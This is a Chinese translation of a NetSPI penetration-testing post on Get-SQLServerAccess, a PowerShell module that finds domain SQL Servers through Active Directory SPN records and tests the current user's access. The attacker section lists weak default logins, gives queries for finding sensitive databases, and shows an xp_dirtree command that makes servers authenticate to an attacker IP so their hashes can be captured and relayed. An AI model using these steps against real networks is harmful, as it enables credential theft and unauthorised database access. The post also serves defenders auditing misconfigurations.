非掃描式定位攻擊域內SQL Server
from:https://www.netspi.com/blog/entryid/228/locate-and-attack-domain-sql-servers-without-scanning
0x00 背景
在這篇文章裡,我將分享一個新的PowerShell指令碼來使用AD中Service Principal Name (SPN) 記錄判別並攻擊windows域中的SQL Server,而且不需要掃描發現。起初我寫這個指令碼是為了在滲透測試中幫助提權及定位關鍵的資料。下面我將展示它對攻擊者和防禦者是多麼的有用。
0x01 非掃描式的SQL Server發現
當你沒有SQL Server認證資訊或試圖攻擊時,不同多樣的掃描技術是非常有用的。但是這一過程卻非常嘈雜,耗時。同時也有可能因為未知的網段資訊、非標準的埠、廣播域限制而錯過伺服器。當我在AD中偶遇 Service Principal Name (SPN) 時,我發現有一個便捷快速的方法定位域中的伺服器。 微軟的文件中是這樣陳述的:” ServicePrincipleName(SPN)是客戶端用來唯一標識一個服務例項的名稱。”這也就意味著每一個在windows域中安裝的服務都在AD中註冊。同樣也包括SQL Server。並且任何一個域成員都可以不用掃描獲取ADS上所有的SQL Server資訊,另外SPN包括例項確定的埠也就避免了掃描的麻煩。對於更多關於SPN的內容,可以參考我之前寫的一篇文章 "Faster Domain Escalation Using LDAP"。 瞭解SPN資訊在AD中存在之後確實很棒,但是很快我又意識到此時需要一個更加自動化的解決方案。
0x02 使用Get-SQLServerAccess PowerShell 模組自動化
在實驗室裡擺弄了一會,我認為如果有一個指令碼可以自動化透過LDAP從ADS中獲取SQL Server的列表,然後測試當前域使用者針對其的許可權,再一次我想到了PowerShell。因為它本身就支援我需要的一切。例如,標準的PowerShell v.3包含LDAP查詢、SQL Server查詢、IP解析、ICMP請求、資料分析,無需額外的庫、cmdlets,或者方法。 在一陣修補後,我打包成一個powershell 模組叫做”Get-SQLServerAccess.psm1”,我試著新增足夠的引數便於防禦者快速有效的發現問題所在,攻擊者也可以在提權中使用。同樣它也非常方便簡單的發現資料儲存的地方。接下來我試著從攻擊者和防禦者的角度突出地介紹一些功能。 我將Get-SQLServerAccess寫成一個Powershell模組,所以對於那些不熟悉的人我會先介紹安裝步驟。
0x03 安裝Get-SQLServerAccess模組
這個指令碼可以從我的github上下載(here),在某些時候我也會將它提交到Posh-SecMod,無論如何,請注意它需要Powershell v3的環境。這個模組可以手動安裝透過將其下載至下面路徑中的任意一處:
%USERPROFILE%\Documents\WindowsPowerShell\Modules\Get-SQLServerAccess\
%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\Get-SQLServerAccess\
然後你就可以透過下面的語句匯入:
Import-Module c:\temp\Get-SQLServerAccess.psm1
同樣你可以透過下面的語句判斷是否匯入成功
Get-Command Get-SQLServerAcess
防禦者使用示例 資料庫管理員通常都會給所有域成員登入SQLServer的許可權,因為實際上他們也不確定哪個域使用者組成員需要許可權,另外SQL Server的老版本預設允許域使用者登陸,這是因為一個許可權繼承的問題(見之前的文章here)。這些錯誤配置導致未認證的域使用者獲取資料和系統的許可權,作為一個防禦者快速的發現這些錯誤配置並修正是極好的。 Get-SQLServerAccess預設輸出允許當前域使用者登陸的SQL Server,另外輸出也會顯示SQL Server例項的名稱。如果使用者有SQL Serversy的sadmin許可權,並且執行SQL Server服務的是域管理員許可權,那麼下面的幾個示例,我想對於防禦者是非常方便的。 透過LDAP從ADS獲取SQL Server的列表,然後試圖用當前域使用者登陸每一個SQL Server。這是預設的輸出顯示。
PS C:\Get-SQLServerAccess
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
2,透過LDAP從ADS獲取SQL Server的列表,然後試圖用當前域使用者登陸每一個SQL Server。這次將輸出到CSV檔案中。
PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
下面是一個上例中輸出的截圖。
上面的例子只是展示了我實驗室中測試的結果,但是在真實環境中我通常看到成百上千的伺服器。Just for fun,我同樣建議你以一個域使用者許可權去執行這個指令碼,透過使用”psexec.exe –s –I cmd.exe”之後可以獲取一個本地system許可權的shell。然後向上述的一樣執行指令碼。我想你會驚訝於登陸進了多少臺SQL server,我記得我當時的樣子。不管怎麼說,到了攻擊的例子了。 攻擊者使用示例 對於SQL server來說有很多的攻擊方法。下面我將介紹在指令碼幫助下的五種攻擊技術。
1,弱口令猜解仍然是一種有效的攻擊方法。在每個客戶的測試環境中,我們發現每次都有少量存在弱口令的SQL Server。通常登陸使用者名稱包括sa,test,dba,user和sysadmin。密碼則是:[the username], [the company], password, Password1和SQL。除此之外有很多的資料庫弱口令猜解工具,但是我還是加了一個SQL Server登陸的引數來驗證在ADS中發現的SQL Server,下面是一個示例。注意:這個引數也可以方便的發現不同伺服器登入情況。
PS C:\Get-SQLServerAccess -sqluser test -sqlpass test
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as test...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
[+] Failed - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed
[+] Failed - server3.mydomain.com\SQLEXPRESS (192.168.1.103) is up, but authentication failed
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 1 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
2,尋找敏感資料一直都很重要。使用自定義的”-query”引數便可以在每一個可登陸的SQL Server中查詢你想要的資訊。下面是一個簡單的示例,演示如何列出使用者可以登陸的伺服器中的資訊。 PS C:\Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as test...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No - SvcIsDA:No
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:
Databases
---------
master
tempdb
msdb
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:
Databases
---------
master
tempdb
msdb
[+] SUCCESS! - server4.mydomain.com\AppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:
Databases
---------
master
tempdb
msdb
PCIDataDB
ApplicationDB
CompanySecrects
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
3,捕獲和破解服務帳戶的密碼雜湊在滲透測試中同樣也是一個獲取SQL server服務賬戶許可權非常有效的攻擊方法,在許多場合下服務賬戶都有環境中所有SQL Server管理員許可權,偶爾賬戶也會有域管理許可權。我曾經寫了一篇關於捕獲中繼SQL Server服務賬戶密碼hash的文章(here)。然而,我提供過一種使用”-query”引數快速使SQL Server認證192.168.1.50攻擊者的IP的方法。
PS C:\ Get-SQLServerAccess -query "exec master..xp_dirtree '\\192.168.1.50\file'"
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
有一個非常棒的工具叫做Responder可以捕獲從任意SQL server傳遞過來的密碼hash。它可以從這裡下載here。最後,hash可以使用OCLHashcat破解。
4,針對共享SQL Server服務帳戶,執行SMB中繼攻擊幾乎總是有效的。麻煩的是找出哪個SQL Server配置使用的是同一個服務賬戶。為了解決這個問題,我同樣也在指令碼中新增了幾個引數來顯示出所有服務賬戶。這些引數包括”-showsum”和”-showstatus”。服務賬戶同樣也可以輸出至csv檔案中。一旦被發現,我部落格之前提到的方法(found here)就可以用來獲取SQL Server系統級許可權。下面是一個基礎的例子展示如何發現使用相同服務賬戶的SQL Server:
PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
在這個例子中,你可以看到其中有三個都在使用同一個域共享服務賬戶。
5,爬取資料庫連結執行sysadmin許可權查詢也是一個幾乎在所有場景中應用的技術。Antti Rantasaari在他部落格裡發表過一個關於資料庫連結非常不錯的概述(How to Hack Database Links in SQL Server),在不久前我們同樣也寫過一個用來攻擊的metasploit模組(here)。儘管你可以盲目的列舉資料庫連結,但是我想用指令碼來抓取每一個可登陸的SQL Server的連結數會變得更方便。你可以用”-showsnum”和”-showsatus”選項來顯示它們。和上一個例子相似,同樣也可以輸出至csv檔案中。下面是上一個的例子。
PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed - server1.mydomain.com is not responding to pings
[+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------
正如你在示例所見,其中兩個伺服器存在連結,有可被攻擊的潛在可能。
0x04 小結
下載這個指令碼,用它來找到洞,然後修補它。 Have fun and hack responsibly!
相關文章
- SQL隱碼攻擊式攻擊掃描器2008-07-15SQL
- 【SQL Server】--SQL隱碼攻擊2015-01-31SQLServer
- Sql Server之旅——第四站 你必須知道的非聚集索引掃描2015-01-23SQLServer索引
- 自動化LFI漏洞掃描攻擊之LFI Suite2018-05-23UI
- Joomla漏洞每天受到黑客16600次掃描攻擊2017-07-04OOM黑客
- SQL 的注入式攻擊2008-11-25SQL
- SQL Server之旅(2):理解萬惡的表掃描2015-03-15SQLServer
- 非域環境下SQL Server mirror建立2019-02-22SQLServer
- 六個建議防止SQL隱碼攻擊式攻擊2009-04-20SQL
- 掃描UNICODE漏洞傳播、攻擊的蠕蟲原始碼 (轉)2007-12-23Unicode原始碼
- 區域網內實現ARP攻擊2016-01-27
- ASP上兩個防止SQL隱碼攻擊式攻擊Function2005-11-15SQLFunction
- Sql Server之旅——第二站 理解萬惡的表掃描2015-01-15SQLServer
- SQL 掃描引數(SARG)2010-04-02SQL
- SQL Server 2005資料頁讀取--高階掃描2010-03-26SQLServer
- 為什麼漏洞掃描程式不足以防止勒索軟體攻擊2022-02-09
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-顯式格式化模型2014-02-16SQL模型
- 自制分散式漏洞掃描2020-08-19分散式
- sql注入攻擊2017-07-03SQL
- SQL 注入攻擊2013-09-16SQL
- 區域網內無線DDoS攻擊策略及概述2016-08-18
- pl/sql原始碼掃描sql(10g)2013-03-20SQL原始碼
- Perun 內網滲透掃描神器2020-09-27內網
- 域委派攻擊詳解2022-04-19
- NMAP分散式掃描工具dnmap2016-12-21分散式
- 掃描易的api函式2017-02-15API函式
- 查詢全表掃描的sql2009-06-09SQL
- SEC504.2 Recon, Scanning, and Enumeration Attacks 偵察、掃描和列舉攻擊2024-05-31
- SQL隱碼攻擊2024-07-02SQL
- 掃描技術和掃描工具2017-11-30
- RustScan: 能在3秒內掃描65k個埠的Rust掃描工具2021-11-30Rust
- 同事都說有SQL隱碼攻擊風險,我非說沒有2022-03-15SQL
- 我該如何向非技術人解釋SQL隱碼攻擊?2015-02-14SQL
- SQL Server索引查詢/掃描沒有出現key lookup的案例淺析2024-03-14SQLServer索引
- PostgreSQL技術內幕(七)索引掃描2023-04-21SQL索引
- nmap掃描網段內的所有IP2013-01-03
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句注入2014-02-16SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句修改2014-02-16SQL